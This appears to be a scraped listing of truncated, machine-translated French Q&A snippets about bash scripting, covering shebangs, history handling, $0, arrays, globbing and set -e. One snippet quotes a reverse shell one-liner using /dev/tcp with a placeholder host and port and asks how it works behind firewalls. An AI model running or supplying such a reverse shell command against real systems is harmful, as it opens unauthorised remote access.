J'ai essayé ce qui suit mais cela ne semble pas fonctionner: $ cat script.sh #!/bin/env -i /bin/sh /bin/env $ script.sh /bin/env: invalid option -- ' ' Try `/bin/env --help' for more
J'ai essayé ce qui suit mais cela ne semble pas fonctionner: $ cat script.sh #!/bin/env -i /bin/sh /bin/env $ script.sh /bin/env: invalid option -- ' ' Try `/bin/env --help' for more
Selon la page de manuel de bash: GLOBIGNORE A colon-separated list of patterns defining the set of filenames to be ignored by pathname expansion. If a filename matched by a pathname expansion pattern also matches one of the patterns in GLOBIGNORE, it is removed from the list of matches. Mais en...
Supposons que j'ai entré une fonction à l'invite bash, sur plusieurs lignes plutôt que de la presser sur une seule avec des points-virgules: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Comment faire pour que cela s'affiche avec de vrais caractères de nouvelle...
J'ai ouvert un terminal sur Ubuntu en utilisant Ctrl+ Alt+ Tet un autre terminal en allant dans un répertoire puis en faisant un clic droit et en choisissant "Ouvrir dans le terminal". J'ai fait un echo $0dans les deux cas. Dans le premier cas: $ echo $0 -bash Dans le second cas: $ echo $0...
j'ai essayé bash -i >& /dev/tcp/HOST/PORT 0>&1 mais il ne semble pas fonctionner derrière les pare-feu. Que fait réellement ce code, quels ports sont transmis et pourrait-il fonctionner derrière des
Je voulais créer un fichier nommé test. Par accident, je cours mkdir testau lieu de touch test. Est-il possible de convertir un testrépertoire dans un fichier nommé test? Qu'en est-il de la conversion d'un fichier nommé testdans un répertoire du même
Je veux exécuter une commande lorsque l'utilisateur devient inactif (le système est inactif). Par exemple: echo "You started to be inactive." Aussi, lorsque l'utilisateur redevient actif (le système n'est plus inactif): echo "You started to be active, again." J'ai besoin d'un script shell qui fera...
J'utilise bash. Pour parcourir l'historique de mes commandes, j'appelle la historycommande qui, je crois, appelle le programme Gnu du même nom. (Je ne sais pas s'il existe une meilleure méthode spécifique à bash). Dans mon .bashrc, j'ai actuellement une ligne export PROMPT_COMMAND='history -a'pour...
Ce guide Bash dit: Si le numéro d'index est @ ou *, tous les membres d'un tableau sont référencés. Quand je fais ça: LIST=(1 2 3) for i in "${LIST[@]}"; do echo "example.$i " done Donne: example.1 example.2 example.3(résultat souhaité). Mais quand j'utilise ${LIST[*]}, j'obtiens à la example.1 2...
L'itération récursive de fichiers dans un répertoire peut facilement être effectuée par: find . -type f -exec bar {} \; Cependant, ce qui précède ne fonctionne pas pour les choses plus complexes, où beaucoup de branches conditionnelles, de boucles, etc. doivent être effectuées. J'ai utilisé cela...
Habituellement, $0dans un script est défini sur le nom du script, ou sur ce qu'il a été appelé (y compris le chemin d'accès). Cependant, si j'utilise bashavec l' -coption, $0est défini sur le premier des arguments passés après la chaîne de commande: bash -c 'echo $0 ' foo bar # foo En effet, il...
Peut-être que j'oublie quelque chose, mais existe-t-il un moyen d'obtenir votre historique bash actuel pour la session actuelle que vous utilisez, comme si je cours ssh host $ pwd $ ls $ cd /tmp Je veux juste voir ces 3 commandes et rien
Aide pour un script simple #!/bin/bash array1=( prova1 prova2 slack64 ) a="slack64" b="ab" if [ $a = $b ] then echo "$a = $b : a is equal to b" else echo "$a = $b: a is not equal to b" fi Ce script ne fonctionne tout simplement pas, je veux un script qui vérifie si slack64 est présent dans une...
J'ai donc un petit script pour exécuter des tests. javac *.java && java -ea Test rm -f *.class Maintenant, le problème est que lorsque j'exécute le script ./test, il renvoie un code de sortie de réussite même si le test échoue car il rm -f *.classréussit. La seule façon dont je pouvais...
J'ai le script bash suivant, d'après ce que je comprends >> est utilisé pour ajouter la sortie d'une commande à un fichier existant au lieu de l'écraser, mais que fait-il dans ce cas? Ce script appelle certains fichiers exe pour convertir d'un format à un autre. Il y a de nombreuses années...
J'utilise Mac OS X 10.9.4, voici mon script pour copier des fichiers de la machine locale vers un hôte différent #!/bin/bash #!/usr/bin/expect echo "I will fail if you give junk values!!" echo " " echo "Enter file name: " read filePath echo " " echo "Where you want to copy?" echo "Enter" echo "1....
Comment puis-je lire un fichier de tiret depuis le terminal autre que le délimiter avec ./ Par exemple, pour lire un, - filenous pouvons le lire en cat ./-file_name Q: Existe - t-il un autre moyen de réaliser la même
Je sais que cette question n'est pas obscure, car elle est posée ici, continuez à mettre à jour (et dupliquez ici). Ce que j'essaie de réaliser est un peu différent. Je n'aime pas l'idée de ma réécriture rapide d'un fichier chaque fois que lsje tape ( history -a; history -c; history -r). Je...
Récemment, j'ai passé en revue les clés de raccourcis bash et j'ai essayé de trouver une clé appropriée pour ma clé d'activation tmux. Je trouve intéressant que ctrl + m et ctrl + qne sont pas utilisés dans les raccourcis bash, selon https://en.wikipedia.org/wiki/Bash_(Unix_shell) . Pourquoi ne...
Aide requise - dans le contexte des scripts shell sur un bash GNU / LINUX: J'utilise toujours set -e. Souvent, je voudrais grepet je ne veux pas toujours que le script termine l'exécution s'il grepa un statut de sortie 1indiquant un modèle introuvable. J'ai essayé de résoudre ce problème comme...